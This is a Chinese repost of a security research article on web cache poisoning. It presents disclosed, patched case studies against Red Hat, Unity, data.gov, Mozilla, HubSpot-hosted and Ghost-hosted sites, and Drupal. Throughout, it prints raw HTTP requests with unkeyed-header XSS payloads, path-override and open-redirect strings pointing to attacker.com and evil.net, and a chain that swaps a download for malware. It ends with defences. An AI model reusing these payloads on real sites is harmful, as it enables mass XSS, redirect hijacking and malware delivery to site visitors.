实用的 Web 缓存中毒

admin 2022年4月10日00:15:04评论195 views字数 15411阅读51分22秒阅读模式

点击上方蓝字“Ots安全”一起玩耍

实用的 Web 缓存中毒

抽象的

Web 缓存中毒长期以来一直是一个难以捉摸的漏洞,一种“理论上的”威胁,主要用于吓唬开发人员,让他们乖乖地修补没有人能够真正利用的问题。


在本文中,我将向您展示如何通过使用深奥的 Web 功能将网站的缓存转变为漏洞利用交付系统来破坏网站,目标是所有访问其主页时出错的人。


我将用漏洞来说明和开发这种技术,这些漏洞使我能够控制许多流行的网站和框架,从简单的单一请求攻击发展到劫持 JavaScript、跨缓存层、颠覆社交媒体和误导云服务的复杂漏洞利用链。最后,我将讨论如何防御缓存中毒,并发布推动这项研究的开源 Burp Suite 社区扩展。


核心概念

缓存 101

要掌握缓存中毒,我们需要快速了解缓存的基础知识。Web 缓存位于用户和应用程序服务器之间,用于保存和提供某些响应的副本。在下图中,我们可以看到三个用户一个接一个地获取相同的资源:

实用的 Web 缓存中毒

缓存旨在通过减少延迟来加速页面加载,并减少应用程序服务器上的负载。一些公司使用 Varnish 等软件托管自己的缓存,而其他公司则选择依赖 Cloudflare 等内容交付网络 (CDN),缓存分散在各个地理位置。此外,一些流行的 Web 应用程序和框架(如 Drupal)具有内置缓存。


还有其他类型的缓存,例如客户端浏览器缓存和 DNS 缓存,但它们不是本研究的重点。


缓存键

缓存的概念可能听起来很简单,但它隐藏了一些危险的假设。每当缓存收到对资源的请求时,它需要决定它是否已经保存了这个确切资源的副本并可以回复,或者是否需要将请求转发到应用程序服务器。


确定两个请求是否正在尝试加载相同的资源可能很棘手;要求请求逐字节匹配是完全无效的,因为 HTTP 请求充满了无关紧要的数据,例如请求者的浏览器:

GET /blog/post.php?mobile=1 HTTP/1.1Host: example.comUser-Agent: Mozilla/5.0 … Firefox/57.0Accept: */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://google.com/Cookie: jessionid=xyz;Connection: close

缓存使用缓存键的概念来解决这个问题——HTTP 请求的一些特定组件,用于完全识别被请求的资源。在上面的请求中,我以橙色突出显示了典型缓存键中包含的值。


这意味着缓存认为以下两个请求是等效的,并且会很高兴地使用第一个缓存的响应来响应第二个请求:

GET /blog/post.php?mobile=1 HTTP/1.1Host: example.comUser-Agent: Mozilla/5.0 … Firefox/57.0Cookie: language=pl;Connection: close
GET /blog/post.php?mobile=1 HTTP/1.1Host: example.comUser-Agent: Mozilla/5.0 … Firefox/57.0Cookie: language=en;Connection: close

结果,页面将以错误的语言提供给第二个访问者。这暗示了问题——由未键入的输入触发的响应中的任何差异都可能被存储并提供给其他用户。理论上,站点可以使用“Vary”响应标头来指定应键入的其他请求标头。在实践中,Vary 标头仅以基本方式使用,Cloudflare 等 CDN 完全忽略它,人们甚至没有意识到他们的应用程序支持任何基于标头的输入。


这会导致大量的意外损坏,但当有人故意开始利用它时,乐趣才真正开始。


缓存中毒

Web 缓存中毒的目的是发送一个请求,该请求会导致有害响应,该响应被保存在缓存中并提供给其他用户。

实用的 Web 缓存中毒

在本文中,我们将使用无键输入(如 HTTP 标头)来毒化缓存。这不是毒害缓存的唯一方法——您还可以使用 HTTP 响应拆分和请求走私——但它是最可靠的。请注意,Web 缓存还启用了一种不同类型的攻击,称为Web 缓存欺骗,不应与缓存中毒混淆。


方法

我们将使用以下方法来查找缓存中毒漏洞:

实用的 Web 缓存中毒

与其尝试在前面深入解释这一点,我将给出一个快速概述,然后演示它如何应用于实际网站。


第一步是识别未加密的输入。手动执行此操作很乏味,因此我开发了一个名为Param Miner 的开源 Burp Suite 扩展,它通过猜测标头/cookie 名称并观察它们是否对应用程序的响应产生影响来自动执行此步骤。


找到未加密的输入后,接下来的步骤是评估您可以用它造成多少损害,然后尝试将其存储在缓存中。如果失败,您需要更好地了解缓存的工作原理并在重试之前寻找可缓存的目标页面。页面是否被缓存可能基于多种因素,包括文件扩展名、内容类型、路由、状态代码和响应标头。


缓存响应可以屏蔽未键控的输入,因此如果您尝试手动检测或探索未键控的输入,则缓存破坏器至关重要。如果您加载了 Param Miner,您可以通过向查询字符串添加一个值为 $randomplz 的参数来确保每个请求都有一个唯一的缓存键。


在审核实时网站时,意外毒害其他访问者是一种永久性的危险。Param Miner 通过向 Burp 的所有出站请求添加缓存破坏器来缓解这种情况。这个缓存破坏者有一个固定的值,所以你可以自己观察缓存行为而不影响其他用户。


实例探究

让我们来看看当该方法应用于真实网站时会发生什么。像往常一样,我专门针对具有研究人员友好安全策略的站点。这些案例研究是使用Cracking the Lens: Targeting HTTP's hidden attack-surface 中记录的研究管道发现的。此处讨论的所有漏洞都已报告并修补,但由于“私有”程序,我被迫修改了一些漏洞。


我的目标的反应喜忧参半;Unity 迅速修补了所有内容并获得了丰厚的回报,Mozilla 至少修补得很快,而其他包括 data.gov 和 Ghost 在内的其他公司几个月都没有做任何事情,只是由于迫在眉睫的出版威胁才进行了修补。


许多案例研究利用了非键输入中的次要漏洞,例如 XSS,重要的是要记住,如果没有缓存中毒,这些漏洞是没有用的,因为没有可靠的方法来强制另一个用户在跨域请求上发送自定义标头. 这可能就是它们如此容易找到的原因。


基本中毒

尽管它的名声很可怕,但缓存中毒通常很容易被利用。首先,让我们看一下 Red Hat 的主页。Param Miner 立即发现了一个未加密的输入:

GET /en?cb=1 HTTP/1.1Host: www.redhat.comX-Forwarded-Host: canary
HTTP/1.1 200 OKCache-Control: public, no-cache<meta property="og:image" content="https://canary/cms/social.png" /

在这里我们可以看到应用程序使用 X-Forwarded-Host 标头在元标记内生成开放图谱 URL。下一步是探索它是否可被利用——我们将从一个简单的跨站点脚本负载开始:

GET /en?dontpoisoneveryone=1 HTTP/1.1Host: www.redhat.comX-Forwarded-Host: a."><script>alert(1)</script>
HTTP/1.1 200 OKCache-Control: public, no-cache<meta property="og:image" content="https://a."><script>alert(1)</script>"/>

看起来不错——我们刚刚确认我们可以产生一个响应,该响应将对查看它的任何人执行任意 JavaScript。最后一步是检查此响应是否已存储在缓存中,以便将其传送给其他用户。不要让“缓存控制:无缓存”标题劝阻您——尝试攻击总是比假设它不起作用要好。您可以首先通过重新发送没有恶意标头的请求来验证,然后直接在不同机器上的浏览器中获取 URL:

GET /en?dontpoisoneveryone=1 HTTP/1.1Host: www.redhat.com
HTTP/1.1 200 OK<meta property="og:image" content="https://a."><script>alert(1)</script>"/>

那很简单。尽管响应没有任何表明存在缓存的标头,但我们的漏洞利用显然已被缓存。快速 DNS 查找提供了一个解释——www.redhat.com 是 www.redhat.com.edgekey.net 的 CNAME,表明它使用 Akamai 的 CDN。


谨慎投毒

在这一点上,我们已经证明可以通过对 https://www.redhat.com/en?dontpoisoneveryone=1 投毒来避免影响站点的实际访问者的攻击。为了真正毒害博客的主页并将我们的漏洞利用给所有后续访问者,我们需要确保在缓存响应过期后将第一个请求发送到主页。


可以尝试使用 Burp Intruder 之类的工具或自定义脚本来发送大量请求,但这种流量大的方法并不微妙。攻击者可以通过对目标的缓存到期系统进行逆向工程并通过仔细阅读文档和随着时间的推移监控站点来预测确切的到期时间来潜在地避免这个问题,但这听起来显然是一项艰苦的工作。


幸运的是,许多网站让我们的生活更轻松。以 unity3d.com 中的缓存中毒漏洞为例:

GET / HTTP/1.1Host: unity3d.comX-Host: portswigger-labs.net
HTTP/1.1 200 OKVia: 1.1 varnish-v4Age: 174Cache-Control: public, max-age=1800<script src="https://portswigger-labs.net/sites/files/foo.js"></script>

我们有一个未加密的输入 - X-Host 标头 - 用于生成脚本导入。响应头 'Age' 和 'max-age' 分别指定当前响应的年龄,以及它将过期的年龄。总之,这些告诉我们应该发送有效负载以确保我们的响应被缓存的精确秒数。


选择性中毒

HTTP 标头可以为缓存的内部工作提供其他省时的见解。以以下知名网站为例,该网站正在使用 Fastly,遗憾的是无法命名:

GET / HTTP/1.1Host: redacted.comUser-Agent: Mozilla/5.0 … Firefox/60.0X-Forwarded-Host: a"><iframe onload=alert(1)>
HTTP/1.1 200 OKX-Served-By: cache-lhr6335-LHRVary: User-Agent, Accept-Encoding<link rel="canonical" href="https://a">a<iframe onload=alert(1)></iframe>

这最初看起来与第一个示例几乎相同。但是,Vary 标头告诉我们我们的 User-Agent 可能是缓存键的一部分,手动测试证实了这一点。这意味着,因为我们声称使用的是 Firefox 60,我们的漏洞将只提供给其他 Firefox 60 用户。我们可以使用一个流行的用户代理列表来确保大多数访问者收到我们的漏洞利用,但这种行为让我们可以选择更具选择性的攻击。如果您知道他们的用户代理,您就可以针对特定人员定制攻击,甚至可以向网站监控团队隐藏自己。


DOM中毒

利用无键输入并不总是像粘贴 XSS 负载那么容易。接受以下请求:

GET /dataset HTTP/1.1Host: catalog.data.govX-Forwarded-Host: canary
HTTP/1.1 200 OKAge: 32707X-Cache: Hit from cloudfront <body >

我们已经控制了 'data-site-root' 属性,但我们无法突破以获取 XSS 并且不清楚该属性甚至用于什么。为了找出答案,我在 Burp 中创建了一个匹配和替换规则,为所有请求添加一个“X-Forwarded-Host: id.burpcollaborator.net”标头,然后浏览了该站点。当某些页面加载时,Firefox 向我的服务器发送一个 JavaScript 生成的请求:

GET /api/i18n/en HTTP/1.1Host: id.burpcollaborator.net

该路径表明在网站的某个地方,有 JavaScript 代码使用 data-site-root 属性来决定从哪里加载一些国际化数据。我试图通过获取 https://catalog.data.gov/api/i18n/en 来找出这些数据应该是什么样子,但只收到了一个空的 JSON 响应。幸运的是,将 'en' 更改为 'es' 提供了一个线索:

GET /api/i18n/es HTTP/1.1Host: catalog.data.gov
HTTP/1.1 200 OK{"Show more":"Mostrar más"}

该文件包含用于将短语翻译成用户所选语言的映射。通过创建我们自己的翻译文件并使用缓存中毒来引导用户,我们可以将短语翻译成漏洞:

GET  /api/i18n/en HTTP/1.1Host: portswigger-labs.net
HTTP/1.1 200 OK...{"Show more":"<svg onload=alert(1)>"}

最终结果?任何查看包含“显示更多”字样的页面的人都会被利用。


劫持 Mozilla SHIELD

我为帮助解决最后一个漏洞而配置的“X-Forwarded-Host”匹配/替换规则产生了意想不到的副作用。除了来自 catalog.data.gov 的互动之外,我还收到了一些非常神秘的互动:

GET /api/v1/recipe/signed/ HTTP/1.1Host: xyz.burpcollaborator.netUser-Agent: Mozilla/5.0 … Firefox/57.0Accept: application/jsonorigin: nullX-Forwarded-Host: xyz.burpcollaborator.net

我以前在我的CORS 漏洞研究中遇到过“空”来源,但我以前从未见过浏览器发出完全小写的 Origin 标头。筛选代理历史记录发现罪魁祸首是 Firefox 本身。Firefox 曾试图获取“食谱”列表作为其SHIELD系统的一部分,以静默安装扩展以用于营销和研究目的。该系统可能以强行分发“机器人先生”扩展名而闻名,引起了相当大的消费者强烈反对。


无论如何,看起来 X-Forwarded-Host 标头已经欺骗了这个系统,将 Firefox 引导到我自己的网站以获取食谱:

GET /api/v1/ HTTP/1.1Host: normandy.cdn.mozilla.netX-Forwarded-Host: xyz.burpcollaborator.net
HTTP/1.1 200 OK{"action-list": "https://xyz.burpcollaborator.net/api/v1/action/","action-signed": "https://xyz.burpcollaborator.net/api/v1/action/signed/","recipe-list": "https://xyz.burpcollaborator.net/api/v1/recipe/","recipe-signed": "https://xyz.burpcollaborator.net/api/v1/recipe/signed/",}

食谱看起来像:

[{"id": 403,"last_updated": "2017-12-15T02:05:13.006390Z","name": "Looking Glass (take 2)","action": "opt-out-study","addonUrl": "https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi","filter_expression": "normandy.country in  ['US', 'CA']n && normandy.version >= '57.0'n)","description": "MY REALITY IS JUST DIFFERENT THAN YOURS",}]

该系统使用 NGINX 进行缓存,这自然很高兴保存我的中毒响应并将其提供给其他用户。Firefox 会在浏览器打开后不久获取此 URL,并会定期重新获取它,最终意味着 Firefox 的数千万日常用户最终都可以从我的网站获取食谱。


这提供了很多可能性。Firefox 使用的配方已经过签名,因此我不能只安装恶意插件并获得完整的代码执行,但我可以将数千万真实用户定向到我选择的 URL。除了明显的 DDoS 使用之外,如果结合适当的内存损坏漏洞,这将是非常严重的。此外,一些后端 Mozilla 系统使用未签名的配方,这可能被用来在其基础设施深处获得立足点,并可能获得配方签名密钥。此外,我可以重播我选择的旧配方,这可能会强制大规模安装一个旧的已知易受攻击的扩展,或者机器人先生的意外回归。


我向 Mozilla 报告了这件事,他们在 24 小时内修补了他们的基础设施,但在严重性上存在一些分歧,因此只获得了 1,000 美元的赏金。


路由中毒

一些应用程序不仅愚蠢地使用标头来生成 URL,还愚蠢地将它们用于内部请求路由:

GET / HTTP/1.1Host: www.goodhire.comX-Forwarded-Server: canary
HTTP/1.1 404 Not FoundCF-Cache-Status: MISS<title>HubSpot - Page not found</title><p>The domain canary does not exist in our system.</p>

Goodhire.com 显然托管在 HubSpot 上,HubSpot 将 X-Forwarded-Server 标头优先于 Host 标头,并且对该请求针对哪个客户端感到困惑。尽管我们的输入反映在页面中,但它是 HTML 编码的,因此直接的 XSS 攻击在这里不起作用。为了利用这一点,我们需要访问 hubspot.com,将自己注册为 HubSpot 客户端,在我们的 HubSpot 页面上放置一个有效负载,然后最后诱使 HubSpot 在 goodhire.com 上提供此响应:

GET / HTTP/1.1Host: www.goodhire.comX-Forwarded-Host: portswigger-labs-4223616.hs-sites.com
HTTP/1.1 200 OK<script>alert(document.domain)</script>

Cloudflare 很高兴地缓存了此响应并将其提供给后续访问者。


Inflection 将此报告传递给 HubSpot,后者似乎试图通过永久禁止我的 IP 地址来解决该问题。一段时间后,该漏洞被修补。这篇文章发表后,HubSpot 联系说他们从未收到 Inflection 的报告(因此 IP 禁令和补丁都是标准的防御和加固措施),如果我联系他们,我会有更好的体验 直接拥有自己的披露计划。如果不出意外,这有助于突出通过第三方报告漏洞的危害。


像这样的内部错误路由漏洞在 SaaS 应用程序中特别常见,其中有一个系统处理针对许多不同客户的请求。


隐藏路线中毒

路由中毒漏洞并不总是那么明显:

GET / HTTP/1.1Host: blog.cloudflare.comX-Forwarded-Host: canary
HTTP/1.1 302 FoundLocation: https://ghost.org/fail/

Cloudflare 的博客由 Ghost 托管,他显然是在用 X-Forwarded-Host 标头做一些事情。您可以通过指定另一个可识别的主机名(如 blog.binary.com)来避免“失败”重定向,但这只会导致神秘的 10 秒延迟,然后是标准的 blog.cloudflare.com 响应。乍一看,没有明确的方法可以利用这一点。


当用户第一次使用 Ghost 注册博客时,它会在 ghost.io 下为他们分配一个唯一的子域。博客启动并运行后,用户可以定义任意自定义域,例如 blog.cloudflare.com。如果用户定义了自定义域,他们的 ghost.io 子域将简单地重定向到它:

GET / HTTP/1.1Host: noshandnibble.ghost.io
HTTP/1.1 302 FoundLocation: http://noshandnibble.blog/

至关重要的是,也可以使用 X-Forwarded-Host 标头触发此重定向:

GET / HTTP/1.1Host: blog.cloudflare.comX-Forwarded-Host: noshandnibble.ghost.io
HTTP/1.1 302 FoundLocation: http://noshandnibble.blog/

通过注册我自己的 ghost.org 帐户并设置自定义域,我可以将发送到 blog.cloudflare.com 的请求重定向到我自己的站点:waf.party。这意味着我可以劫持图像等资源负载:

实用的 Web 缓存中毒

重定向 JavaScript 加载以获得对 blog.cloudflare.com 的完全控制的下一个合乎逻辑的步骤被一个怪癖阻碍了——如果你仔细观察重定向,你会看到它使用 HTTP,而博客是通过 HTTPS 加载的。这意味着浏览器的混合内容保护启动并阻止脚本/样式表重定向。


我找不到任何让 Ghost 发出 HTTPS 重定向的技术方法,我很想放弃我的顾虑,向 Ghost 报告使用 HTTP 而不是 HTTPS 的漏洞,希望他们为我修复它。最终,我决定通过制作问题的副本并将其放入hackxor并附带现金奖励来众包解决方案。第一个解决方案是由 Sajjad Hashemian 发现的,他在 Safari 中发现如果 waf.party 在浏览器的 HSTS 缓存中,重定向将自动升级到 HTTPS 而不是被阻止。Sam Thomas根据Manuel Caballero 的工作跟进了 Edge 的解决方案——发出 302 重定向到 HTTPS URL 完全绕过了 Edge 的混合内容保护。


总的来说,针对 Safari 和 Edge 用户,我可以完全破坏 blog.cloudflare.com、blog.binary.com 和所有其他 ghost.org 客户端上的每个页面。对于 Chrome/Firefox 用户,我只能劫持图像。尽管我在上面的屏幕截图中使用了 Cloudflare,但由于这是第三方系统中的一个问题,我选择通过 Binary 报告它,因为他们的错误赏金计划支付现金,这与 Cloudflare 不同。


链接无键输入

有时,未加密的输入只会混淆部分应用程序堆栈,您需要链接其他未加密的输入才能获得可利用的结果。获取以下站点:

GET /en HTTP/1.1Host: redacted.netX-Forwarded-Host: xyz
HTTP/1.1 200 OKSet-Cookie: locale=en; domain=xyz

X-Forwarded-Host 标头覆盖 cookie 上的域,但没有在响应的其余部分生成任何 URL。这本身是没有用的。但是,还有另一个未键入的输入:

GET /en HTTP/1.1Host: redacted.netX-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved PermanentlyLocation: https://redacted.net/en

这个输入本身也是无用的,但是如果我们将两者结合在一起,我们可以将响应转换为到任意域的重定向:

GET /en HTTP/1.1Host: redacted.netX-Forwarded-Host: attacker.comX-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved PermanentlyLocation: https://attacker.com/en

使用这种技术,可以通过重定向 POST 请求从自定义 HTTP 标头中窃取CSRF 令牌。我还可以通过对 JSON 加载的恶意响应获取存储的基于 DOM 的 XSS,类似于前面提到的 data.gov 漏洞。


开放图劫持

在另一个站点上,未加密的输入仅影响开放图谱 URL:

GET /en HTTP/1.1Host: redacted.netX-Forwarded-Host: attacker.com
HTTP/1.1 200 OKCache-Control: max-age=0, private, must-revalidate<meta property="og:url" content='https://attacker.com/en'/>

Open Graph是 Facebook 创建的协议,让网站所有者决定当他们的内容在社交媒体上共享时会发生什么。我们在这里劫持的 og:url 参数有效地覆盖了共享的 URL,因此任何共享中毒页面的人实际上最终都会共享我们选择的内容。


您可能已经注意到,应用程序设置了“Cache-Control: private”,而 Cloudflare 拒绝缓存此类响应。幸运的是,站点上的其他页面明确启用了缓存:

GET /popularPage HTTP/1.1Host: redacted.netX-Forwarded-Host: evil.com
HTTP/1.1 200 OKCache-Control: public, max-age=14400Set-Cookie: session_id=942…CF-Cache-Status: MISS

此处的“CF-Cache-Status”标头表明 Cloudflare 正在考虑缓存此响应,但尽管如此,该响应从未实际缓存过。我推测 Cloudflare 拒绝缓存这可能与 session_id cookie 有关,并在存在该 cookie 的情况下重试:

GET /popularPage HTTP/1.1Host: redacted.netCookie: session_id=942…;X-Forwarded-Host: attacker.com
HTTP/1.1 200 OKCache-Control: public, max-age=14400CF-Cache-Status: HIT<meta property="og:url"content='https://attacker.com/…

这最终缓存了响应,尽管后来证明我可以跳过猜测并阅读Cloudflare 的缓存文档。https://blog.cloudflare.com/understanding-our-cache-and-the-web-cache-deception-attack/


尽管缓存了响应,“共享”结果仍然没有中毒;Facebook 显然没有访问我毒害的特定 Cloudflare 缓存。为了确定我需要中毒的缓存,我利用了所有 Cloudflare 站点上提供的有用的调试功能 - /cdn-cgi/trace:

实用的 Web 缓存中毒


此处,colo=AMS 行显示 Facebook 已通过阿姆斯特丹的缓存访问了 waf.party。目标网站是通过亚特兰大访问的,所以我在那里租了一个 2 美元/月的 VPS 并再次尝试中毒:

实用的 Web 缓存中毒

在此之后,任何试图在其网站上共享各种页面的人最终都会共享我选择的内容。这是一段经过大量编辑的攻击视频:

局部途径中毒

到目前为止,我们已经看到了基于 cookie 的语言劫持,以及使用各种标头覆盖主机的一系列攻击。在研究的这一点上,我还发现了一些使用奇怪的非标准标头的变体,例如“translate”、“bucket”和“path_info”,并怀疑我遗漏了许多其他标头。在我通过下载和搜索 GitHub 上前 20,000 个 PHP 项目的标题名称来扩展标题词表之后,我的下一个重大进步出现了。


这揭示了覆盖请求路径的标头 X-Original-URL 和 X-Rewrite-URL。我首先注意到它们会影响运行 Drupal 的目标,深入研究 Drupal 的代码后发现,对这个头文件的支持来自流行的 PHP 框架 Symfony,而后者又从 Zend 中获取了代码。最终结果是大量 PHP 应用程序在不知不觉中支持这些标头。在我们尝试使用这些标头进行缓存中毒之前,我应该指出它们也非常适合绕过 WAF 和安全规则:

GET /admin HTTP/1.1Host: unity.com

HTTP/1.1 403 Forbidden...Access is denied
GET /anything HTTP/1.1Host: unity.comX-Original-URL: /admin
HTTP/1.1 200 OK...Please log in

如果应用程序使用缓存,则可能会滥用这些标头,将其混淆为提供不正确的页面。例如,此请求的缓存键为 /education?x=y,但从 /gambling?x=y 检索内容:

实用的 Web 缓存中毒

最终结果是,在发送此请求后,任何试图访问 Unity for Education 页面的人都会得到一个惊喜:

实用的 Web 缓存中毒

交换页面的能力比严肃更有趣,但也许它在更大的漏洞利用链中占有一席之地。


内部缓存中毒

Drupal 通常与 Varnish 等第三方缓存一起使用,但它也包含一个默认启用的内部缓存。此缓存知道 X-Original-URL 标头并将其包含在其缓存键中,但错误地还包含来自该标头的查询字符串:

实用的 Web 缓存中毒

虽然之前的攻击让我们用另一条路径替换一条路径,但这次攻击让我们覆盖查询字符串:

GET /search/node?keys=kittens HTTP/1.1
HTTP/1.1 200 OKSearch results for 'snuff'

这更有希望,但它仍然非常有限——我们需要第三种成分。


Drupal 打开重定向

在阅读 Drupal 的 URL-override 代码时,我注意到一个非常危险的功能——在所有重定向响应中,您可以使用“destination”查询参数来覆盖重定向目标。Drupal 尝试进行一些 URL 解析以确保它不会重定向到外部域,但可以预见,这很容易绕过:

GET //?destination=https://[email protected]/ HTTP/1.1Host: unity.com
HTTP/1.1 302 FoundLocation: https://[email protected]/

Drupal 看到路径中的双斜杠 // 并尝试向 / 发出重定向以对其进行规范化,但随后目标参数开始起作用。Drupal 认为目标 URL 告诉人们使用用户名“evil”访问 unity.com。 net' 但实际上网络浏览器会自动将 转换为 /,将用户登陆到 evil.net/@unity.com。


再一次,开放重定向本身并不令人兴奋,但现在我们终于拥有了严重漏洞利用的所有构建块。


持续重定向劫持

我们可以将参数覆盖攻击与开放重定向结合起来,以持久地劫持任何重定向。Pinterest 商业网站上的某些页面碰巧通过重定向导入 JavaScript。以下请求使蓝色显示的缓存条目中毒,参数显示为橙色:

GET /?destination=https://[email protected]/ HTTP/1.1Host: business.pinterest.comX-Original-URL: /foo.js?v=1

这劫持了 JavaScript 导入的目的地,让我可以完全控制 business.pinterest.com 上应该是静态的几个页面:

GET /foo.js?v=1 HTTP/1.1
HTTP/1.1 302 FoundLocation: https://[email protected]/

嵌套缓存中毒

其他 Drupal 站点不太友好,并且不会通过重定向导入任何重要资源。幸运的是,如果站点使用外部缓存(就像几乎所有高流量 Drupal 站点),我们可以使用内部缓存来毒化外部缓存,并在此过程中将任何响应转换为重定向。这是一个两阶段的攻击。首先,我们毒害内部缓存以用我们的恶意重定向替换 /redir:

GET /?destination=https://[email protected]/ HTTP/1.1Host: store.unity.comX-Original-URL: /redir

接下来,我们毒化外部缓存以将 /download?v=1 替换为我们预先毒化的 /redir:

GET /download?v=1 HTTP/1.1Host: store.unity.comX-Original-URL: /redir

最终结果是单击 unity.com 上的“下载安装程序”会从 evil.net 下载一些机会主义恶意软件。该技术还可用于大量其他攻击,包括将欺骗条目插入 RSS 提要、用网络钓鱼页面替换登录页面以及通过动态脚本导入存储 XSS。


这是对现有 Drupal 安装进行此类攻击的视频:

此漏洞已于 2018 年 5 月 29 日向 Drupal、Symfony 和 Zend 团队披露,并且已通过 2018 年 8 月 1 日发布的协调补丁版本禁用了对这些标头的支持,参考资料如下:SA-CORE-2018-005、CVE-2018-14773、ZF2018-01。


跨云中毒

您可能已经猜到了,其中一些漏洞报告引发了有趣的反应和响应。

一位使用 CVSS 对我提交的提交进行评分的分类人员向 CloudFront 缓存中毒报告提供了“高”的访问复杂性,因为攻击者可能需要租用多个 VPS 才能对所有 CloudFront 的缓存进行中毒。抵制争论什么构成“高”复杂性的诱惑,我以此为契机,探讨是否可以在不依赖 VPS 的情况下进行跨区域攻击。


事实证明,CloudFront 有一个有用的缓存地图,并且可以使用免费在线服务轻松识别其 IP 地址,这些服务从一系列地理位置进行 DNS 查找。在舒适的卧室里对特定区域进行中毒就像使用 curl/Burp 的主机名覆盖功能将攻击路由到这些 IP 之一一样简单。


由于 Cloudflare 有更多的区域缓存,我决定也看看它们。Cloudflare 在线发布了他们所有 IP 地址的列表,因此我编写了一个快速脚本来请求 waf.party/cgn-cgi/trace 通过这些 IP 中的每一个并记录我命中的缓存:

curl https://www.cloudflare.com/ips-v4 | sudo zmap -p80| zgrab --port 80 --data traceReq | fgrep visit_scheme | jq -c '[.ip , .data.read]' cf80scheme | sed -E 's/["([0-9.]*)".*colo=([A-Z]+).*/1 2/' | awk -F " " '!x[$2]++'

这表明在定位 waf.party(在爱尔兰托管)时,我可以从我在曼彻斯特的家中访问以下缓存:

104.28.19.112 LHR    172.64.13.163 EWR    198.41.212.78 AMS172.64.47.124 DME    172.64.32.99 SIN     108.162.253.199 MSP172.64.9.230 IAD     198.41.238.27 AKL    162.158.145.197 YVR

常见的陷阱

到 2021 年,我在这项研究中收到的最常见问题来自那些发现他们可以使用 Burp Repeater 或代理浏览器复制缓存中毒漏洞的人,但不能在未代理的浏览器中复制。当您的浏览器和 Burp 发出的请求略有不同时,就会发生这种情况,区别在于请求的键控部分。


要识别差异,请将浏览器开发者控制台中显示的请求与 Logger++ 中记录的请求进行比较。最常见的两个原因是:

  • Param Miner 启用了“Add fcbz cachebuster”,它为 Burp 的请求添加了一个静态查询参数

  • 服务器已在缓存键中包含“Accept-Encoding”标头。在 Burp Suite 中,'Proxy>Options>Remove unsupported encodings' 选项重写了这个头部。

通过调整中毒请求以确保缓存键匹配,可以轻松解决这两种情况。


防御

防止缓存中毒的最强大的防御措施是禁用缓存。对于某些人来说,这显然是不切实际的建议,但我怀疑很多网站开始使用 Cloudflare 之类的服务来进行 DDoS 保护或简单的 SSL,最终很容易受到缓存中毒的影响,因为缓存是默认启用的。


将缓存限制为纯静态响应也是有效的,前提是您对定义为“静态”的内容足够谨慎。


同样,避免从头文件和 cookie 中获取输入是防止缓存中毒的有效方法,但很难知道其他层和框架是否正在偷偷地支持额外的头文件。因此,我建议使用 Param Miner 审核应用程序的每一页,以清除未加密的输入。


一旦您在应用程序中识别出未加密的输入,理想的解决方案是彻底禁用它们。如果失败,您可以在缓存层剥离输入,或将它们添加到缓存键。一些缓存允许您使用Vary 标头来键入未键控的输入,而其他缓存允许您定义自定义缓存键,但可能将此功能限制为“企业”客户。


最后,无论您的应用程序是否有缓存,您的某些客户端可能会在其末端有缓存,因此不应忽略 HTTP 标头中的 XSS 等客户端漏洞。


结论

Web 缓存中毒远非理论上的漏洞,臃肿的应用程序和高耸的服务器堆栈正合谋将其传播给大众。我们已经看到,即使是众所周知的框架也可以隐藏危险的无所不在的功能,这证实了仅仅因为它是开源的并且拥有数百万用户就假设其他人已经阅读了源代码永远是不安全的。我们还看到了如何在网站前放置缓存可以使其从完全安全变为极易受到攻击。我认为这是一个更大趋势的一部分,随着网站越来越依赖于辅助系统,它们的安全状况越来越难以孤立地进行充分评估。


最后,我为人们建立了一个小挑战,以测试他们的知识,并期待看到其他研究人员在未来采取网络缓存中毒的方法。

实用的 Web 缓存中毒

原文始发于微信公众号(Ots安全):实用的 Web 缓存中毒

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月10日00:15:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实用的 Web 缓存中毒http://cn-sec.com/archives/662235.html

发表评论

匿名网友 填写信息